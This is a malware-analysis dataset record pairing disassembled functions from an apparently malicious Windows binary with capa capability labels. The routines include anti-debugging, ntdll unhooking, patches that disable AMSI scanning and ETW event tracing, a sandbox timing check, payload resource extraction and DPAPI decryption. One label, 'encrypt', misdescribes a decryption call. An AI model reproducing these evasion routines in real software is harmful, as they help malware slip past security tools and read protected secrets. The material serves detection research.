joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401dfa3f
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg ebp, r14d
mov r14w, 0xa7c2
mov r13b, 0xea
cld
jmp 0x1401dfa4a
mov bpl, dl
xchg r10d, edi
setg dil
rol r12, cl
lea rsi, [rsp - 0x8ddd]
pop di
jmp 0x1401dfa06
mov dword [rsp + 5], r10d
sub rsp, 0x11
jmp 0x1401dfa1c
lea r11, [rax + riz + 0xbc]
mov rsi, qword [rsp + 0x13]
mov r9w, r15w
sub rsp, 0x15
xchg qword [rsp + 0xa], rdi
jmp 0x1401dfa92
std
ror ebp, cl
mov r14, 0xffffffff94a56bc0
push r14
jmp 0x1401dfaaf
mov word [rsp + 0x1d], r12w
stc
xchg word [rsp + 7], r13w
mov r11d, dword [rsp + 0x18]
mov dword [rsp + 0x14], ebx
mov ax, word [rsp + 8]
jmp 0x1401dfa7c
mov bp, word [rsp + 0x26]
xchg qword [rsp + 0x24], rax
pop rbp
clc
pop r9w
mov ax, word [rsp + 2]
jmp 0x1401dfbce
mov word [rsp + 4], ax
rdtsc
push word [rsp + 0xc]
add rsp, 0xa
jmp 0x1401dfb4f
mov r14b, cl
btr r13d, r10d
bsf dx, si
mov byte [rsp + 0xd], r12b
cmc
lea r9, [0x237bef39]
jmp 0x1401dfae9
mov rdi, 0x77da02c7
mov r11, 0xffffffffa304f3d1
rdtsc
jmp 0x1401dfb87
mov r9b, 0xcf
lea rax, [rbx + r13]
xchg ebx, eax
mov edi, 0xdbba80f8
mov rsi, 0x690267ff
add rsp, 0x26
jmp 0x1401dfb1a
xchg r11, r14
xchg r15d, eax
bswap r14d
mov r14w, bx
bswap rax
mov r13w, bx
jmp 0x1401dfb30
not ax
mov bp, 0x8911
add rsp, 1
push word [rsp + 1]
pushfq
call fcn.1401dfba3
scasb al, byte [rdi]
movsb byte [rdi], byte ss:[rsi]
ret
mov rdx, 0x6f0c0bb8
bswap r15
xchg r9w, bp
lea rsp, [rsp + 3]
xchg byte [rsp + 1], dl
xchg dil, bpl
jmp 0x1401dfb65
mov edx, 0xd5dc73a4
setg r13b
push qword [rsp + 0x22]
not dx
mov r10w, word [rsp + 0x1e]
mov byte [rsp + 0x1b], cl
jmp 0x1401dfaff

Function at 0x1401dfa6f
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea rbx, [rdx + riz - 0xf1a8]
shr r15d, cl
bswap r12d
bswap r14d
add rsp, 0x22
mov ebx, r11d
jmp 0x1401df6d0
xchg word [rsp + 0x1a], r9w
mov r11d, edx
bswap r10
mov rsi, qword [rsp + 2]
xchg r12, r13
mov di, r8w
jmp 0x1401df6f7
xchg r9d, r11d
mov qword [rsp + 0x4a], r11
xchg r10, r12
sub rsp, 0x13
mov r10b, 7
lea rsp, [rsp + 0x47]
jmp 0x1401df72b
xchg di, r14w
sub rsp, 0x1c
lea rdx, [rdx + rbp]
mov rdx, qword [rsp + 0x3c]
bsr r9d, ebx
std
jmp 0x1401df7a6
bsr bp, r15w
xchg qword [rsp + 2], r15
mov r15w, bx
xchg sil, r11b
pushfq
xchg word [rsp + 0xc], r15w
jmp 0x1401df7e5
bswap r9
sete dil
cld
jmp 0x1401df819

Function at 0x1401dfcc8
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov r10b, dil
mov rdi, qword [rsp + 0x17]
jmp 0x1401dfd03
sbb r15w, 0xd6df
mov r13d, ebx
mov dword [rsp + 0xb], r15d
jmp 0x1401dfd1c
push word [rsp + 0x15]
xchg byte [rsp + 0x24], sil
setle al
mov edi, r12d
inc r10d
xchg byte [rsp + 0x28], dl
jmp 0x1401dfced
setge sil
mov r9, qword [rsp + 0x19]
mov byte [rsp + 0x12], sil
pop qword [rsp + 2]
mov rax, qword [rsp + 0x16]
mov r10d, dword [rsp + 0x13]
jmp 0x1401dfd79
pop word [rsp + 0x15]
xchg byte [rsp + 9], bl
mov byte [rsp + 0x12], sil
bswap edi
lea rdx, [r9 + r15]
mov r9b, 0xd1
jmp 0x1401dfd4f
Function at 0x1401e00c0
Capabilities:
Execute anti-debugging instructions

Disassembly:
not r13
mov sil, 0xe2
mov word [rsp + 0xb], r11w
jmp 0x1401e00e0
push word [rsp + 6]
lea rsp, [rsp + 0xb]
sub rsp, 0x12
mov r9b, r12b
inc rsi
btc r10d, edx
jmp 0x1401e04bf
pop qword [rsp]
mov r13d, r14d
xchg bl, r15b
xchg r13w, bp
mov dword [rsp + 4], esp
setle r15b
jmp 0x1401e015e
xchg r13, rax
rcl r9w, cl
lea r11, [rdi*4]
mov qword [rsp + 8], rbp
rdtsc
lea r10, [r10 + r13]
jmp 0x1401e0126
mov r9d, r12d
cmc
mov bpl, 0xb1
xchg byte [rsp + 6], r10b
mov bp, word [rsp + 0xa]
mov rdx, rsp
jmp 0x1401e0192
mov r11w, word [rsp + 0xe]
xchg r12d, ebx
mov r10b, 0x7b
mov rbp, rbx
xchg qword [rsp + 6], r13
mov rsi, r15
jmp 0x1401e0143
mov si, word [rsp + 0xc]
lea r9, [rdi + rdi]
mov edx, 0x3af83f0e
seto bl
mov byte [rsp + 5], cl
inc r10b
jmp 0x1401e033c
mov edx, dword [rsp + 0xb]
not r13b
bt r15d, eax
pushfq
mov r14b, r13b
bswap r12
jmp 0x1401e0179
mov di, 0xfc7b
mov bp, 0xa0a8
pop word [rsp + 1]
mov dword [rsp], esp
jmp 0x1401e02da
xchg r11w, r10w
xchg rdi, r9
cmc
mov byte [rsp + 4], r15b
mov ebp, 0x34c167af
mov rax, qword [rsp]
jmp 0x1401e01d0
xchg word [rsp + 0x14], r10w
mov ebp, esi
bswap r10d
lea rdi, [rbx + rbx]
jmp 0x1401e02ae
stc
lea rsp, [rsp + 9]
mov r13d, esp
sub rsp, 0x12
mov dword [rsp + 1], ebp
mov r11b, r10b
jmp 0x1401e01fe
pop qword [rsp + 0xc]
cmc
mov rbx, r8
bt di, sp
pop qword [rsp + 3]
mov r15d, ebx
jmp 0x1401e0214
rdtsc
mov byte [rsp], spl
mov r12, r10
add rsp, 7
lea r11, [rsi + r15]
jmp 0x1401e0295
push qword [rsp + 0xc]
xchg dword [rsp + 0xf], edi
lea r10, [rdi + rdi]
add rsp, 0x2c
mov r11, 0xbade750
lea r11, [rbp + rbp]
jmp 0x1401e0249
mov si, r14w
std
sub rsp, 0
mov r9b, 0xb4
call fcn.1401e027f
mov dword [rdi], eax
xchg edi, eax
add ebx, ebx
cmp dl, byte [0x1649289fe]
add dword [rax - 0x7d], ecx
in al, dx
sbb eax, dword [rcx + 0xf]
mov ebp, 0x4c5e41dd
mov esi, dword [rsp + 0x26]
xchg qword [rsp + 1], r14
sub rsp, 0x1b
bsr ebx, r13d
pop r14
mov r14, qword [rsp + 0x26]
mov rax, 0x121e9855
jmp 0x1401e0260
std
mov al, r8b
mov r12b, byte [rsp + 1]
push word [rsp + 1]
sub rsp, 0x19
mov qword [rsp + 0xa], rdx
jmp 0x1401e0232
mov qword [rsp], r8
mov r15b, 0x84
mov r10b, sil
lea rsp, [rsp + 7]
mov r11w, 0x87c4
cld
jmp 0x1401e01e6
mov dword [rsp + 0x11], r11d
pop ax
mov si, word [rsp + 0xe]
xchg r13, rbp
add rsp, 9
bswap r13
jmp 0x1401e01bc
mov word [rsp], ax
rdtsc
mov eax, dword [rsp + 7]
mov r10b, bl
mov r15b, 0x17
bswap r14d
jmp 0x1401e048f

Function at 0x1401e1628
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea r11, [r15 + riz]
mov rdx, r14
lea r9, [rdx + riz - 0xa0f2]
mov r8w, r10w
jmp 0x1401e1612
Function at 0x1401e656c
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
cmp dword [0x1400a400b], 0
jmp 0x1401e074f
je 0x1401dd2b0
lea rsp, [rsp + 0x10]
add rsp, 8
jmp 0x1401e0764
push si
mov byte [rsp], r8b
mov byte [rsp], r15b
call fcn.1401e0800
je 0x1401e07dd
mov ds, word [rcx]
js 0x1401e07d5
call 0x1401e604d
jmp 0x1401e65b8
pushfq
push r14
push qword [rsp + 0x15]
mov word [rsp + 0x1d], cx
jmp 0x1401e6577
pop word [rsp + 1]
pop word [rsp]
jmp 0x1401e6556
push qword [rsp + 9]
push qword [rsp + 0x14]
lea rsp, [rsp + 6]
jmp 0x1401e65d0
mov rax, qword [rax + riz + 0x30]
mov rax, qword [rax + riz]
mov rax, qword [rax + riz + 0x10]
jmp 0x1401e65e5
pop rax
sub rax, 0x1e604d
jmp 0x1401e6cec
lea rsp, [rsp + 0x30]
mov rax, qword gs:[0x60]
mov rax, qword [rax + riz + 0x18]
jmp 0x1401e65a8
push rax
jmp 0x1401e6048
push rax
jmp 0x1401dd2c6
Function at 0x1400e5dbf
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140123ea8]
jne 0x1400df14a
rol rcx, 0x10
test cx, 0xffff
jne 0x1400df146
repz ret
ror rcx, 0x10
jmp 0x1400e5d18
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140128e90]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140128f88]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400e5d9d
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140128e90]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400e5dbf
mov rax, qword [rsp + 0x88]
mov qword [0x140128f88], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140128f28], rax
mov rax, qword [0x140128f88]
mov qword [0x140128e00], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140128f10], rax
mov dword [0x140128df0], 0xc0000409
mov dword [0x140128df4], 1
mov rax, qword [0x140123ea8]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140123eb0]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140128e88], eax
mov ecx, 1
call fcn.1400e2cec
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400f14d8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140128e88], 0
jne 0x1400e5e46
mov ecx, 1
call fcn.1400e2cec
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140001170
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
sub rsp, 0x430
mov rax, qword [0x140018008]
xor rax, rsp
mov qword [rsp + 0x420], rax
lea r8, [0x1400153c0]
mov edx, 0x67
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x140001286
mov rdx, rbx
mov qword [rsp + 0x440], rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
test eax, eax
jne 0x1400011cb
xor eax, eax
jmp 0x14000127e
mov rdx, rbx
mov qword [rsp + 0x448], rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x1400011f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
jne 0x1400011f8
xor eax, eax
jmp 0x140001276
mov rcx, rbp
mov qword [rsp + 0x450], rdi
call fcn.1400031a0
mov r8, rbp
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.1400028e0
mov r8, rbp
mov rdx, rsi
mov rcx, rdi
call fcn.14000cf10
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x400
call fcn.1400028e0
mov r8d, ebp
lea rcx, [rsp + 0x20]
mov rdx, rdi
call section..text
movsxd rdi, eax
mov rcx, rdi
call fcn.140001994
mov rbx, rax
test rdi, rdi
jle 0x14000126b
mov r8, rdi
lea rdx, [rsp + 0x20]
mov rcx, rax
call fcn.14000cf10
mov rdi, qword [rsp + 0x450]
mov rax, rbx
mov rsi, qword [rsp + 0x448]
mov rbp, qword [rsp + 0x440]
mov rcx, qword [rsp + 0x420]
xor rcx, rsp
call fcn.140001970
add rsp, 0x430
pop rbx
ret
Function at 0x1400012a0
Capabilities:
Get common file path
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x290
mov rax, qword [0x140018008]
xor rax, rsp
mov qword [rsp + 0x280], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r14, rax
lea rcx, str.ntdll.dll
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, 0x18
lea r8, [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x40], rax
mov rcx, r14
mov r15, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov rbp, qword [rsp + 0x50]
lea rcx, [rsp + 0x70]
xor edx, edx
mov r8d, 0x208
call fcn.1400028e0
mov edx, 0x104
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rcx, [rsp + 0x70]
sub rcx, 2
nop word [rax + rax]
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x140001350
mov eax, dword [0x1400153f0]
xor ebx, ebx
movups xmm0, xmmword [str._ntdll.dll]
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
mov edx, 0x80000000
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
lea r8d, [rbx + 1]
movzx eax, word [0x1400153f4]
mov word [rcx + 0x14], ax
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rbx
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x20], ebx
xor edx, edx
mov r8d, 0x1000002
mov r13, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea edx, [rbx + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
movsxd rsi, dword [rbp + 0x3c]
movzx edi, bx
add rsi, rbp
mov r12, rax
cmp bx, word [rsi + 6]
jae 0x140001498
lea r8, str..text
xor r15d, r15d
movzx ecx, word [rsi + 0x14]
movzx eax, di
add rcx, rsi
lea rdx, [rax + rax*4]
mov rax, r15
lea rbx, [rcx + rdx*8]
nop word [rax + rax]
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x140001486
cmp rax, 6
jne 0x140001420
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x68]
mov edx, dword [rbx + 0x20]
lea r8d, [rax + 0x3a]
add rcx, rbp
mov dword [rsp + 0x68], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r12]
lea rcx, [rax + rbp]
call fcn.14000cf10
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x68]
mov edx, dword [rbx + 0x20]
add rcx, rbp
mov r8d, dword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r8, str..text
inc di
cmp di, word [rsi + 6]
jb 0x140001400
mov r15, qword [rsp + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140001970
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1400014f0
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x240
mov rax, qword [0x140018008]
xor rax, rsp
mov qword [rsp + 0x230], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, 0x3e8
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, ebx
cmp eax, 0x1f4
jb 0x14000157b
call fcn.1400012a0
call fcn.1400015a0
call fcn.140001650
call fcn.140001170
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call fcn.1400028e0
mov edx, 0x104
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rax, [rsp + 0x20]
sub rax, 2
nop dword [rax]
cmp word [rax + 2], 0
lea rax, [rax + 2]
jne 0x140001570
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140001970
add rsp, 0x240
pop rbx
ret

Function at 0x1400015a0
Capabilities:
Patch antimalware scan interface function

Disassembly:
sub rsp, 0x48
mov rax, qword [0x140018008]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rcx, str.amsi
mov dword [rsp + 0x20], 0x70057b8
mov word [rsp + 0x24], 0xc380
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140001638
lea rdx, str.AmsiScanBuffer
mov qword [rsp + 0x40], rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140001633
mov edx, 6
lea r9, [rsp + 0x28]
mov rcx, rax
lea r8d, [rdx + 0x3a]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140001633
mov eax, dword [rsp + 0x20]
lea r9, [rsp + 0x2c]
mov dword [rbx], eax
mov edx, 6
movzx eax, word [rsp + 0x24]
mov rcx, rbx
mov word [rbx + 4], ax
mov r8d, dword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rbx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140001970
add rsp, 0x48
ret

Function at 0x140001650
Capabilities:
Patch event tracing for windows function

Disassembly:
sub rsp, 0x38
mov rax, qword [0x140018008]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400016cd
lea rdx, str.EtwEventWrite
mov qword [rsp + 0x30], rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x1400016c8
mov edx, 1
lea r9, [rsp + 0x20]
mov rcx, rax
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400016c8
mov byte [rbx], 0xc3
lea r9, [rsp + 0x24]
mov r8d, dword [rsp + 0x20]
mov edx, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rbx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001970
add rsp, 0x38
ret
Function at 0x140003e74
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140003d07
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003d07
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003d07
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003d07
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003d07
cmp dword [rcx + 0x84], 0xe
jbe 0x140003d07
cmp dword [rcx + 0xf8], 0
je 0x140003d07
mov ecx, ebx
call fcn.140003da8
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140003b98
cmp dword [rbp + 0x20], 0
je 0x140003d54
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140003d5c
int3
xor r8d, r8d
xor edx, edx
jmp 0x140003ca0
Function at 0x140036340
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
xor eax, eax
mov dword [rsp + 0x20], eax
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], send
mov byte [rcx], al
mov dword [rsp + 0x20], 1
lea rcx, [r8 + 2]
movabs rbp, 0xaaaaaaaaaaaaaaab
mov rax, rbp
mul rcx
shr rdx, 1
shl rdx, 2
xor r8d, r8d
mov rcx, rdi
call fcn.140038290
mov r10, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x1400363b7
mov r10, qword [rdi]
mov rcx, r10
mov rax, rbp
mul rsi
mov r8, rdx
shr r8, 1
mov r9, r8
lea r11, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
je 0x140036431
movzx eax, byte [rbx]
shr rax, 2
movzx eax, byte [rax + r11]
mov byte [rcx], al
movsx edx, byte [rbx]
and edx, 3
shl edx, 4
movzx eax, byte [rbx + 1]
shr eax, 4
add edx, eax
movzx eax, byte [rdx + r11]
mov byte [rcx + 1], al
movsx edx, byte [rbx + 1]
and edx, 0xf
movzx eax, byte [rbx + 2]
shr eax, 6
lea eax, [rax + rdx*4]
movzx eax, byte [rax + r11]
mov byte [rcx + 2], al
movsx rax, byte [rbx + 2]
and eax, 0x3f
movzx eax, byte [rax + r11]
mov byte [rcx + 3], al
add rcx, 4
add rbx, 3
sub r9, 1
jne 0x1400363d2
lea rax, [r8 + r8*2]
sub rsi, rax
sub rsi, 1
je 0x140036482
cmp rsi, 1
jne 0x1400364ac
movzx eax, byte [rbx]
shr rax, 2
movzx eax, byte [rax + r11]
mov byte [rcx], al
movsx edx, byte [rbx]
and edx, 3
shl edx, 4
movzx eax, byte [rbx + 1]
shr eax, 4
add edx, eax
movzx eax, byte [rdx + r11]
mov byte [rcx + 1], al
movsx rax, byte [rbx + 1]
and eax, 0xf
movzx eax, byte [r11 + rax*4]
mov byte [rcx + 2], al
mov byte [rcx + 3], 0x3d
jmp 0x1400364a8
movzx eax, byte [rbx]
shr rax, 2
movzx eax, byte [rax + r11]
mov byte [rcx], al
movsx rax, byte [rbx]
and eax, 3
add rax, rax
movzx eax, byte [r11 + rax*8]
mov byte [rcx + 1], al
mov word [rcx + 2], 0x3d3d
add rcx, 4
sub rcx, r10
xor r8d, r8d
mov rdx, rcx
mov rcx, rdi
call fcn.140038290
mov rax, rdi
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140036980
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rbx, rdx
mov rsi, rcx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], r12
mov qword [rcx + 0x18], send
mov byte [rcx], r12b
mov dword [rsp + 0x20], 1
mov rax, qword [rdx + 0x10]
shr rax, 2
lea rdx, [rax + rax*2]
xor r8d, r8d
call fcn.140038290
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1400369e6
mov rbx, qword [rbx]
mov r15, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x1400369f3
mov r15, qword [rsi]
mov rdi, r15
mov r8d, r12d
test r9, r9
je 0x140036b08
mov rdx, r12
lea r13, [0x1401c0570]
mov eax, dword [rsp + 0x78]
movzx r14d, byte [rsp + 0x7b]
movzx r11d, byte [rsp + 0x7a]
movzx ebp, byte [rsp + 0x79]
dec r9
movzx ecx, byte [rbx]
cmp cl, 0x3d
je 0x140036ab2
movzx r10d, byte [rcx + r13]
cmp r10b, 0xff
je 0x140036ab2
inc rbx
mov byte [rsp + rdx + 0x78], r10b
inc r8d
inc rdx
mov eax, dword [rsp + 0x78]
movzx r14d, byte [rsp + 0x7b]
movzx r11d, byte [rsp + 0x7a]
movzx ebp, byte [rsp + 0x79]
cmp rdx, 4
jne 0x140036aa9
movzx r8d, bpl
shr r8b, 4
and r8b, 3
movzx ecx, al
shl cl, 2
add r8b, cl
movzx edx, r11b
shr dl, 2
and dl, 0xf
movzx ecx, bpl
shl cl, 4
add dl, cl
movzx ecx, r11b
shl cl, 6
add cl, r14b
mov byte [rdi], r8b
mov byte [rdi + 1], dl
mov byte [rdi + 2], cl
add rdi, 3
mov r8d, r12d
mov rdx, r12
test r9, r9
jne 0x140036a21
test r8d, r8d
je 0x140036b08
movzx ecx, bpl
shr cl, 4
and cl, 3
shl al, 2
add cl, al
mov byte [rsp + 0x78], cl
movzx eax, r11b
shr al, 2
and al, 0xf
shl bpl, 4
add al, bpl
mov byte [rsp + 0x79], al
shl r11b, 6
add r11b, r14b
mov byte [rsp + 0x7a], r11b
lea eax, [r8 - 1]
movsxd rbx, eax
test eax, eax
jle 0x140036b08
mov r8, rbx
lea rdx, [rsp + 0x78]
mov rcx, rdi
call fcn.1400f58a0
add rdi, rbx
sub rdi, r15
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call fcn.140038290
mov rax, rsi
mov rbx, qword [rsp + 0x80]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14003e2f0
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x1401d8bd0]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rdi, rcx
mov qword [rbp - 0x11], rcx
xor esi, esi
mov dword [rbp - 0x15], esi
mov qword [rbp + 0xf], rdx
mov dword [rbp + 7], r8d
lea rax, [rbp - 9]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 7]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x14003e41c
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], rsi
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], send
mov byte [rbp + 0x17], sil
mov ebx, dword [rbp - 9]
test rbx, rbx
jne 0x14003e387
mov qword [rbp + 0x27], rbx
mov byte [rbp + rbx + 0x17], bl
jmp 0x14003e3bb
lea rcx, [rbp + 0x17]
cmp rbx, 0xf
ja 0x14003e3a6
mov qword [rbp + 0x27], rbx
mov r8, rbx
xor edx, edx
call fcn.1400f54e0
mov byte [rbp + rbx + 0x17], 0
jmp 0x14003e3bb
mov byte [rsp + 0x20], 0
mov r9, rbx
movzx r8d, byte [rbp - 0x19]
mov rdx, rbx
call fcn.140038d60
lea rcx, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0x10
cmovae rcx, qword [rbp + 0x17]
mov r8d, dword [rbp - 9]
mov rdx, qword [rbp - 1]
call fcn.1400f58a0
mov rcx, qword [rbp - 1]
call qword [sym.imp.KERNEL32.dll_LocalFree]
movups xmm0, xmmword [rbp + 0x17]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rbp + 0x27]
movups xmmword [rdi + 0x10], xmm1
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], send
mov byte [rbp + 0x17], 0
mov byte [rdi + 0x20], 1
mov dword [rbp - 0x15], 1
mov qword [rbp + 0x27], rsi
mov qword [rbp + 0x2f], send
mov byte [rbp + 0x17], 0
jmp 0x14003e427
mov byte [rdi + 0x20], sil
mov dword [rbp - 0x15], 1
mov rax, rdi
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.1400f3410
mov rbx, qword [rsp + 0xd8]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret